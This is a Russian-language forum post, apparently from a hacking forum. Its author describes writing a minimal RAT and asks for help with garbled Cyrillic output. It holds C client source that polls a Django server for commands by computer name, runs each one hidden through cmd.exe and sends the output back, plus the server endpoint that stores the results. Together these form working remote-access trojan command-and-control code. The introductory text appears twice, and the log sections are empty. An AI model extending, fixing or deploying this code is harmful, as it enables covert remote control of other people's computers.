Приветствую всех желающих и имеющих сил мне помочь, остальным соболезную...
Пишу что-то вроде ратника на минималках, встрял на модуле удалённого исполнения команд. Проблема в кодировке, я пытался перед отправкой тело преобразовывать из CP1251 в UTF-8, но эта абракадабра из символов заместо русской речи меня никогда не покидала!
По итогу остановился на таком варианте (нерабочем):
Client
Server
Да, сервер на джанго, премного извиняюсь, но надеюсь сильно не нарушу правила раздела :3
Логи:
Client
Server
В примере пытался получить результат от команды dir, но результат вы видите. Буду рад любой помощи!))
Пишу что-то вроде ратника на минималках, встрял на модуле удалённого исполнения команд. Проблема в кодировке, я пытался перед отправкой тело преобразовывать из CP1251 в UTF-8, но эта абракадабра из символов заместо русской речи меня никогда не покидала!
По итогу остановился на таком варианте (нерабочем):
Client
C:
// Функция для отправки результата
BOOL SendResult(DWORD task_id, const char* result) {
HINTERNET hSession = NULL;
BOOL bResults = FALSE;
hSession = WinHttpOpen(L"Client/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS,
0);
if (!hSession) {
printf("Failed to open WinHttp session\n");
return FALSE;
}
char body[BUFFER_SIZE];
snprintf(body, BUFFER_SIZE, "{\"task_id\": %lu, \"result\": \"%s\"}", task_id, result);
printf("Отправляемый body: %s\n", body); // Для отладки
HINTERNET hConnect = WinHttpConnect(hSession, L"localhost", 8000, 0);
if (!hConnect) {
printf("Failed to connect\n");
WinHttpCloseHandle(hSession);
return FALSE;
}
HINTERNET hRequest = WinHttpOpenRequest(hConnect,
L"POST",
L"/send_result/",
NULL,
WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
0);
if (!hRequest) {
printf("Failed to open request\n");
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return FALSE;
}
// Устанавливаем заголовки
const wchar_t* headers[] = { L"Content-Type: application/json; charset=utf-8" };
bResults = WinHttpSendRequest(hRequest,
headers[0],
-1L,
(LPVOID)body,
strlen(body),
strlen(body),
0);
if (!bResults) {
printf("WinHttpSendRequest failed\n");
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return FALSE;
}
bResults = WinHttpReceiveResponse(hRequest, NULL);
// Проверка статуса ответа
DWORD dwStatusCode = 0;
DWORD dwSize = sizeof(dwStatusCode);
if (WinHttpQueryHeaders(hRequest,
WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX,
&dwStatusCode,
&dwSize,
WINHTTP_NO_HEADER_INDEX)) {
printf("Статус ответа: %lu\n", dwStatusCode);
if (dwStatusCode != 200) {
printf("Ошибка: статус не равен 200\n");
bResults = FALSE;
}
}
else {
printf("Не удалось получить статус ответа\n");
bResults = FALSE;
}
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);
return bResults;
}
// Функция для выполнения команды и получения её вывода
BOOL ExecuteCommand(const char* command, char* output, DWORD outputSize) {
HANDLE hRead, hWrite;
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
if (!CreatePipe(&hRead, &hWrite, &sa, 0))
return FALSE;
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdOutput = hWrite;
si.hStdError = hWrite;
char cmdLine[BUFFER_SIZE];
snprintf(cmdLine, BUFFER_SIZE, "cmd.exe /C \"%s\"", command);
BOOL success = CreateProcessA(
NULL,
cmdLine,
NULL,
NULL,
TRUE,
CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi
);
CloseHandle(hWrite);
if (!success) {
CloseHandle(hRead);
return FALSE;
}
DWORD dwRead;
DWORD totalRead = 0;
while (ReadFile(hRead, output + totalRead, outputSize - totalRead - 1, &dwRead, NULL) && dwRead != 0) {
totalRead += dwRead;
if (totalRead >= outputSize - 1)
break;
}
output[totalRead] = '\0';
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(hRead);
return TRUE;
}
void cmd() {
HINTERNET hSession = WinHttpOpen(L"DeviceClient/1.0",
WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS,
0);
while (1) {
WCHAR response[BUFFER_SIZE];
WCHAR path[BUFFER_SIZE];
WCHAR computerName[256];
DWORD size = sizeof(computerName);
GetComputerNameW(computerName, &size);
// Запрос задачи для устройства
swprintf(path, BUFFER_SIZE / sizeof(WCHAR), L"/get_task/%s/", computerName);
if (HttpGet(hSession, path, response, BUFFER_SIZE)) {
char command[256] = { 0 };
DWORD task_id = 0;
char* respStr = (char*)response;
char* cmd_ptr = strstr(respStr, "\"command\":");
char* id_ptr = strstr(respStr, "\"task_id\":");
if (cmd_ptr && id_ptr) {
sscanf(cmd_ptr + strlen("\"command\": \""), "%255[^\"]", command);
sscanf(id_ptr + strlen("\"task_id\": "), "%lu", &task_id);
if (strlen(command) > 0 && task_id != 0) {
printf("Command received: %s\n", command);
// Выполняем команду и получаем вывод
char commandOutput[BUFFER_SIZE];
if (ExecuteCommand(command, commandOutput, BUFFER_SIZE)) {
printf("Execution result: %s\n", commandOutput);
SendResult(task_id, commandOutput);
}
else {
printf("Command execution error\n");
SendResult(task_id, "Command execution error");
}
}
}
}
Sleep(5000);
}
}
Server
Python:
@csrf_exempt
def send_result(request):
print("Received request method:", request.method)
print("Request body (raw):", request.body)
if request.method != 'POST':
return JsonResponse({'error': 'Invalid HTTP method'}, status=405)
# Попытка декодировать как cp1251
try:
body_str = request.body.decode('cp1251')
print("Decoded request body:", body_str)
except UnicodeDecodeError:
try:
body_str = request.body.decode('utf-8', errors='replace')
print("Decoded with utf-8 (errors='replace'):", body_str)
except Exception as e:
print("Error decoding request body:", e)
return JsonResponse({'error': 'Failed to decode request body'}, status=400)
# Удаляем управляющие символы
body_str = body_str.replace('\r', '').replace('\n', '')
print("Cleaned request body:", body_str)
# Пытаемся распарсить JSON
try:
data = json.loads(body_str)
print("Parsed data:", data)
except json.JSONDecodeError as e:
print("Error parsing JSON:", e)
# Выводим содержимое для диагностики
return JsonResponse({'error': 'Invalid JSON', 'body': body_str}, status=400)
task_id = data.get('task_id')
result = data.get('result')
if task_id is None or result is None:
return JsonResponse({'error': 'Missing task_id or result'}, status=400)
try:
task = Task.objects.get(id=task_id)
task.result = result
task.is_executed = True
task.save()
return JsonResponse({'status': 'ok'})
except Task.DoesNotExist:
return JsonResponse({'error': 'Task not found'}, status=404)
except Exception as e:
return JsonResponse({'error': 'Failed to save task'}, status=500)
Да, сервер на джанго, премного извиняюсь, но надеюсь сильно не нарушу правила раздела :3
Логи:
Client
Server
В примере пытался получить результат от команды dir, но результат вы видите. Буду рад любой помощи!))